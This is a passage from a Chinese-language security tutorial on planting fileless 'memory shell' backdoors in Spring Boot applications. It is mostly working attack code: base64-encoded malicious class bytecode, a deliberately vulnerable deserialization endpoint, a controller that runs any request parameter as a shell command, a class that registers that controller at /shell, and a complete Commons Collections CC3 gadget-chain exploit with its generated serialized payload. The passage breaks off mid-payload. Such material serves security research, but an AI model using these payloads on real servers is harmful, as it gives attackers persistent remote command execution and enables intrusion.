ZGVyBwCNDACdAJ4MACoAnwwAKgCgAQAAAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAKEAlQwAogCjAQACDQoMAKQAlQwApQCmBwCnDACoAKkHAIoMAKoAKwwAqwArAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAVABVDABYAFkBADtvcmcvY2xvd24vc3ByaW5nYm9vdG1lbW9yeXNoZWxsL2ludGVyY2VwdG9yL1Rlc3RJbnRlcmNlcHRvcgEAEGphdmEvbGFuZy9PYmplY3QBADJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L0hhbmRsZXJJbnRlcmNlcHRvcgEAE2phdmEvaW8vUHJpbnRXcml0ZXIBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBABFqYXZhL2xhbmcvUHJvY2VzcwEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL09iamVjdDspVgEABWZsdXNoAQAFY2xvc2UAIQAnACgAAQApAAAABAABACoAKwABACwAAAAvAAEAAQAAAAUqtwABsQAAAAIALQAAAAYAAQAAAAwALgAAAAwAAQAAAAUALwAwAAAAAQAxADIAAwAsAAACJwAGAAsAAADcKxICuQADAgA6BBkExgDOLLkABAEAOgUSBbgABrYABxIItgAJmQAiuwAKWQa9AAtZAxIMU1kEEg1TWQUZBFO3AA46BqcAH7sAClkGvQALWQMSD1NZBBIQU1kFGQRTtwAOOgYZBgS2ABFXGQa2ABI6B7sAE1m7ABRZGQe2ABW3ABa3ABc6CBIYOgm7ABlZtwAaOgoZCLYAG1k6CcYAIBkKuwAZWbcAGhkJtgAcEh22ABy2AB62ABxXp//bsgAfGQq2ACAZBRkKtgAhGQW2ACIZBbYAI6cABToFA6wErAABAA8A0wDWACQAAwAtAAAAVgAVAAAADwAKABAADwASABcAFAAnABUARgAXAGIAGQBpABoAcAAbAIUAHACJAB0AkgAeAJ0AHwC6ACEAwgAiAMkAIwDOACQA0wAmANYAJQDYACcA2gApAC4AAAB6AAwAQwADADMANAAGABcAvAA1ADYABQBiAHEAMwA0AAYAcABjADcAOAAHAIUATgA5ADoACACJAEoAOwA8AAkAkgBBAD0APgAKAAAA3AAvADAAAAAAANwAPwBAAAEAAADcAEEAQgACAAAA3ABDAEQAAwAKANIARQA8AAQARgAAAFUAB/0ARgcARwcASPwAGwcASf8ALwALBwBKBwBLBwBMBwBNBwBHBwBIBwBJBwBOBwBPBwBHBwBQAAAn/wAbAAUHAEoHAEsHAEwHAE0HAEcAAQcAUQEBAFIAAAAEAAEAJABTAAAADQMAPwAAAEEAAABDAAAAAQBUAFUAAwAsAAAAYAAFAAUAAAAKKissLRkEtwAlsQAAAAIALQAAAAoAAgAAAC4ACQAvAC4AAAA0AAUAAAAKAC8AMAAAAAAACgA/AEAAAQAAAAoAQQBCAAIAAAAKAEMARAADAAAACgBWAFcABABSAAAABAABACQAUwAAABEEAD8AAABBAAAAQwAAAFYAAAABAFgAWQADACwAAABgAAUABQAAAAoqKywtGQS3ACaxAAAAAgAtAAAACgACAAAAMwAJADQALgAAADQABQAAAAoALwAwAAAAAAAKAD8AQAABAAAACgBBAEIAAgAAAAoAQwBEAAMAAAAKAFoAWwAEAFIAAAAEAAEAJABTAAAAEQQAPwAAAEEAAABDAAAAWgAAAAEAXAAAAAIAXQ==";
byte[] d = new sun.misc.BASE64Decoder().decodeBuffer(code);
java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, byte[].class, int.class, int.class});
m.setAccessible(true);
Class<?> clazz = (Class<?>) m.invoke(Thread.currentThread().getContextClassLoader(), new Object[]{"org.clown.springbootmemoryshell.interceptor.TestInterceptor", d, 0, d.length});
Constructor<?> constructor = clazz.getConstructor();
HandlerInterceptor evilInterceptor = (HandlerInterceptor) constructor.newInstance();
System.out.println("Instance created: " + evilInterceptor);
// TestInterceptor evilInterceptor = new TestInterceptor();
adaptInterceptors.add(evilInterceptor);
return "Interceptor added!";
}
}

实战中反序列化利用内存马

前面的写法还不能满足实战利用,实战中通常结合反序列化的形式,不过改成实战利用也蛮简单的,就是结合链子比如TemplatesImpl里的恶意类代码就是我们前面所写的的恶意代码

先写一个简单的反序列化漏洞的路由

package org.clown.springbootmemoryshell.contorller;

import org.springframework.web.bind.annotation.*;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

@RestController
public class VulnContorller {
@RequestMapping(value = {"/des"}, method = {RequestMethod.POST})
public String deserialize(@RequestParam("base64Data") String base64Data) {
System.out.println(base64Data);
byte[] serializedData = Base64.getMimeDecoder().decode(base64Data);
String option = deserializeData(serializedData);
return option;
}

private static String deserializeData(byte[] serializedData) {
try {
ByteArrayInputStream bis = new ByteArrayInputStream(serializedData);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
ois.close();
bis.close();
return "success";
}
catch (Exception e) {
return "error";
}
}
}

反序列化利用Controller

我们要注册的controller

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.util.Scanner;


public class TestController {
public void test(HttpServletRequest request, HttpServletResponse response) {
try {
String arg0 = request.getParameter("code");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}

Scanner c = (new Scanner(p.start().getInputStream())).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
writer.write(o);
writer.flush();
writer.close();
} else {
response.sendError(404);
}
} catch (Exception var8) {

}
}
}

然后是TemplatesImpl恶意类

package com.clown;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class ControllerBehind extends AbstractTranslet {
static {
try {
//加载magicController类的字节码
String code ="yv66vgAAADQAhQoAIQBBCABCCwBDAEQLAEUARggARwgASAoASQBKCgAMAEsIAEwKAAwATQcATgcATwgAUAgAUQoACwBSCABTCABUBwBVCgALAFYKAFcAWAoAEgBZCABaCgASAFsKABIAXAoAEgBdCgASAF4KAF8AYAoAXwBhCgBfAF4LAEUAYgcAYwcAZAcAZQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA7TG9yZy9jbG93bi9zcHJpbmdib290bWVtb3J5c2hlbGwvY29udG9ybGxlci9UZXN0Q29udHJvbGxlcjsBAAR0ZXN0AQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspVgEAAXABABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEAAW8BABJMamF2YS9sYW5nL1N0cmluZzsBAAFjAQATTGphdmEvdXRpbC9TY2FubmVyOwEABGFyZzABAAZ3cml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQANU3RhY2tNYXBUYWJsZQcATwcAZgcATgcAVQcAYwEAEE1ldGhvZFBhcmFtZXRlcnMBAApTb3VyY2VGaWxlAQATVGVzdENvbnRyb2xsZXIuamF2YQwAIgAjAQAEY29kZQcAZwwAaABpBwBqDABrAGwBAAABAAdvcy5uYW1lBwBtDABuAGkMAG8AcAEAA3dpbgwAcQByAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwAIgBzAQAHL2Jpbi9zaAEAAi1jAQARamF2YS91dGlsL1NjYW5uZXIMAHQAdQcAdgwAdwB4DAAiAHkBAAJcQQwAegB7DAB8AH0MAH4AcAwAfwAjBwBmDACAAIEMAIIAIwwAgwCEAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOW9yZy9jbG93bi9zcHJpbmdib290bWVtb3J5c2hlbGwvY29udG9ybGxlci9UZXN0Q29udHJvbGxlcgEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAJc2VuZEVycm9yAQAEKEkpVgAhACAAIQAAAAAAAgABACIAIwABACQAAAAvAAEAAQAAAAUqtwABsQAAAAIAJQAAAAYAAQAAAA0AJgAAAAwAAQAAAAUAJwAoAAAAAQApACoAAgAkAAABqAAGAAgAAACzKxICuQADAgBOLLkABAEAOgQtxgCTEgU6BRIGuAAHtgAIEgm2AAqZACG7AAtZBr0ADFkDEg1TWQQSDlNZBS1TtwAPOganAB67AAtZBr0ADFkDEhBTWQQSEVNZBS1TtwAPOga7ABJZGQa2ABO2ABS3ABUSFrYAFzoHGQe2ABiZAAsZB7YAGacABRkFOgUZB7YAGhkEGQW2ABsZBLYAHBkEtgAdpwAMLBEBlLkAHgIApwAETrEAAQAAAK4AsQAfAAMAJQAAAEoAEgAAABAACQARABEAEgAVABMAGQAVACkAFgBHABgAYgAbAHgAHACMAB0AkQAeAJgAHwCdACAAogAhAKUAIgCuACYAsQAkALIAJwAmAAAAXAAJAEQAAwArACwABgAZAIkALQAuAAUAYgBAACsALAAGAHgAKgAvADAABwAJAKUAMQAuAAMAEQCdADIAMwAEAAAAswAnACgAAAAAALMANAA1AAEAAACzADYANwACADgAAAApAAj+AEcHADkHADoHADn8ABoHADv8ACUHADxBBwA5+AAa+QAIQgcAPQAAPgAAAAkCADQAAAA2AAAAAQA/AAAAAgBA";
byte[] d = new sun.misc.BASE64Decoder().decodeBuffer(code);
java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, byte[].class, int.class, int.class});
m.setAccessible(true);
Class<?> clazz = (Class<?>) m.invoke(Thread.currentThread().getContextClassLoader(), new Object[]{"org.clown.springbootmemoryshell.contorller.TestController", d, 0, d.length});
Constructor<?> constructor = clazz.getConstructor();
Object instance = constructor.newInstance();
System.out.println("Instance created: " + instance);
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
RequestMappingInfo info = new RequestMappingInfo(url, null, null, null, null, null, null);
RequestMappingHandlerMapping rs = context.getBean(RequestMappingHandlerMapping.class);
// Method mm = (Class.forName("org.clown.springbootmemoryshell.contorller.TestController").getDeclaredMethods())[0];
Method mm = clazz.getDeclaredMethods()[0];
rs.registerMapping(info, instance, mm);
}catch (Exception e){
e.printStackTrace();
}

}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

}

其实把前面的拿来复用一下就可以了,只不过这里再把流程完整记录一下

然后本地加了一个cc依赖,用cc3来打入内存马进行测试

cc3exp:

package com.clown;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC3Chain {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
//利用反射设置需要满足的值
Class c=templates.getClass();
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("ControllerBehind.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);
//这里的赋值在序列化的时候就不需要了
// Field tfactory = c.getDeclaredField("_tfactory");
// tfactory.setAccessible(true);
// tfactory.set(templates,new TransformerFactoryImpl());
// Transformer transformer = templates.newTransformer();
//结合前面的链子串联起来,随便一个都行
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> map=new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotation = c1.getDeclaredConstructor(Class.class, Map.class);
annotation.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) annotation.newInstance(Override.class,lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, invocationHandler);
Object o = annotation.newInstance(Override.class, proxyMap);
System.out.println(serialize(o));
// unserialize("ser.bin");
}
public static String serialize(Object obj)throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(obj);
oos.close();
byte[] bytes = byteArrayOutputStream.toByteArray();
return Base64.getEncoder().encodeToString(bytes);
}
public static Object unserialize(String Filename)throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
}

生成的base64字符串

rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAJzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwc3IAPm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnN0YW50aWF0ZVRyYW5zZm9ybWVyNIv0f6SG0DsCAAJbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAXNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzcQB+ABhMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAAfc8r+ur4AAAA0AMgKAC4AYwgAZAcAZQoAAwBjCgADAGYHAGcIAGgHAGkHAGoHAEgJAGsAbAoACABtCgBuAG8KAHAAcQoAcAByBwBzCAB0CgBrAHUKAG4AdgoACAB3CgB4AHkJAHoAewcAfAoAFwBjCAB9CgAXAH4KABcAfwoAFwCACgCBAIIKAIMAhAgAhQsAhgCHBwCIBwCJCACKCgAiAIsHAIwKACUAjQcAjgsAIQCPCgAIAJAKACcAkQcAkgoAKwCTBwCUBwCVAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABxMY29tL2Nsb3duL0NvbnRyb2xsZXJCZWhpbmQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAJYBABBNZXRob2RQYXJhbWV0ZXJzAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEABGNvZGUBABJMamF2YS9sYW5nL1N0cmluZzsBAAFkAQACW0IBAAFtAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAVjbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQALY29uc3RydWN0b3IBAB9MamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAIaW5zdGFuY2UBABJMamF2YS9sYW5nL09iamVjdDsBAAdjb250ZXh0AQA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0OwEAA3VybAEASExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uOwEABGluZm8BAD9Mb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAAJycwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEAAm1tAQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBABRMamF2YS9sYW5nL0NsYXNzPCo+OwEAIkxqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjwqPjsBAA1TdGFja01hcFRhYmxlBwCSAQAKU291cmNlRmlsZQEAFUNvbnRyb2xsZXJCZWhpbmQuamF2YQwALwAwAQsweXY2NnZnQUFBRFFBaFFvQUlRQkJDQUJDQ3dCREFFUUxBRVVBUmdnQVJ3Z0FTQW9BU1FCS0NnQU1BRXNJQUV3S0FBd0FUUWNBVGdjQVR3Z0FVQWdBVVFvQUN3QlNDQUJUQ0FCVUJ3QlZDZ0FMQUZZS0FGY0FXQW9BRWdCWkNBQmFDZ0FTQUZzS0FCSUFYQW9BRWdCZENnQVNBRjRLQUY4QVlBb0FYd0JoQ2dCZkFGNExBRVVBWWdjQVl3Y0FaQWNBWlFFQUJqeHBibWwwUGdFQUF5Z3BWZ0VBQkVOdlpHVUJBQTlNYVc1bFRuVnRZbVZ5VkdGaWJHVUJBQkpNYjJOaGJGWmhjbWxoWW14bFZHRmliR1VCQUFSMGFHbHpBUUE3VEc5eVp5OWpiRzkzYmk5emNISnBibWRpYjI5MGJXVnRiM0o1YzJobGJHd3ZZMjl1ZEc5eWJHeGxjaTlVWlhOMFEyOXVkSEp2Ykd4bGNqc0JBQVIwWlhOMEFRQlNLRXhxWVhaaGVDOXpaWEoyYkdWMEwyaDBkSEF2U0hSMGNGTmxjblpzWlhSU1pYRjFaWE4wTzB4cVlYWmhlQzl6WlhKMmJHVjBMMmgwZEhBdlNIUjBjRk5sY25ac1pYUlNaWE53YjI1elpUc3BWZ0VBQVhBQkFCcE1hbUYyWVM5c1lXNW5MMUJ5YjJObGMzTkNkV2xzWkdWeU93RUFBVzhCQUJKTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBRmpBUUFUVEdwaGRtRXZkWFJwYkM5VFkyRnVibVZ5T3dFQUJHRnlaekFCQUFaM2NtbDBaWElCQUJWTWFtRjJZUzlwYnk5UWNtbHVkRmR5YVhSbGNqc0JBQWR5WlhGMVpYTjBBUUFuVEdwaGRtRjRMM05sY25ac1pYUXZhSFIwY0M5SWRIUndVMlZ5ZG14bGRGSmxjWFZsYzNRN0FRQUljbVZ6Y0c5dWMyVUJBQ2hNYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnpjRzl1YzJVN0FRQU5VM1JoWTJ0TllYQlVZV0pzWlFjQVR3Y0FaZ2NBVGdjQVZRY0FZd0VBRUUxbGRHaHZaRkJoY21GdFpYUmxjbk1CQUFwVGIzVnlZMlZHYVd4bEFRQVRWR1Z6ZEVOdmJuUnliMnhzWlhJdWFtRjJZUXdBSWdBakFRQUVZMjlrWlFjQVp3d0FhQUJwQndCcURBQnJBR3dCQUFBQkFBZHZjeTV1WVcxbEJ3QnREQUJ1QUdrTUFHOEFjQUVBQTNkcGJnd0FjUUJ5QVFBWWFtRjJZUzlzWVc1bkwxQnliMk5sYzNOQ2RXbHNaR1Z5QVFBUWFtRjJZUzlzWVc1bkwxTjBjbWx1WndFQUIyTnRaQzVsZUdVQkFBSXZZd3dBSWdCekFRQUhMMkpwYmk5emFBRUFBaTFqQVFBUmFtRjJZUzkxZEdsc0wxTmpZVzV1WlhJTUFIUUFkUWNBZGd3QWR3QjREQUFpQUhrQkFBSmNRUXdBZWdCN0RBQjhBSDBNQUg0QWNBd0Fmd0FqQndCbURBQ0FBSUVNQUlJQUl3d0Fnd0NFQVFBVGFtRjJZUzlzWVc1bkwwVjRZMlZ3ZEdsdmJnRUFPVzl5Wnk5amJHOTNiaTl6Y0hKcGJtZGliMjkwYldWdGIzSjVjMmhsYkd3dlkyOXVkRzl5Ykd4bGNpOVVaWE4wUTI5dWRISnZiR3hsY2dFQUVHcGhkbUV2YkdGdVp5OVBZbXBsWTNRQkFCTnFZWFpoTDJsdkwxQnlhVzUwVjNKcGRHVnlBUUFsYW1GMllYZ3ZjMlZ5ZG14bGRDOW9kSFJ3TDBoMGRIQlRaWEoyYkdWMFVtVnhkV1Z6ZEFFQURHZGxkRkJoY21GdFpYUmxjZ0VBSmloTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFRHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0FRQW1hbUYyWVhndmMyVnlkbXhsZEM5b2RIUndMMGgwZEhCVFpYSjJiR1YwVW1WemNHOXVjMlVCQUFsblpYUlhjbWwwWlhJQkFCY29LVXhxWVhaaEwybHZMMUJ5YVc1MFYzSnBkR1Z5T3dFQUVHcGhkbUV2YkdGdVp5OVRlWE4wWlcwQkFBdG5aWFJRY205d1pYSjBlUUVBQzNSdlRHOTNaWEpEWVhObEFRQVVLQ2xNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNCQUFoamIyNTBZV2x1Y3dFQUd5aE1hbUYyWVM5c1lXNW5MME5vWVhKVFpYRjFaVzVqWlRzcFdnRUFGaWhiVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3S1ZZQkFBVnpkR0Z5ZEFFQUZTZ3BUR3BoZG1FdmJHRnVaeTlRY205alpYTnpPd0VBRVdwaGRtRXZiR0Z1Wnk5UWNtOWpaWE56QVFBT1oyVjBTVzV3ZFhSVGRISmxZVzBCQUJjb0tVeHFZWFpoTDJsdkwwbHVjSFYwVTNSeVpXRnRPd0VBR0NoTWFtRjJZUzlwYnk5SmJuQjFkRk4wY21WaGJUc3BWZ0VBREhWelpVUmxiR2x0YVhSbGNnRUFKeWhNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNwVEdwaGRtRXZkWFJwYkM5VFkyRnVibVZ5T3dFQUIyaGhjMD